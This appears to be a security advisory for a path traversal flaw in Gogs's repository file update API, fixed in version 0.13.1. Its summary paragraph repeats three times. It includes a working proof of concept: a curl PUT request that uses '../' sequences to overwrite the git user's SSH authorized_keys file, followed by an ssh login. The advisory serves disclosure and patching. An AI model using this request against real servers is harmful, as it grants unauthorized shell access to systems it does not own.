Gogs has a Path Traversal in file update API

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

### Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. ### Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Generate a Personal Access Tokens 2. Edit any file on the server with this ```bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' ``` 3. ssh connect to remote server ```bash ssh -i temp git@localhost -p 10022 ``` ### For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Path Traversal in file update API in gogs in gogs.io/gogs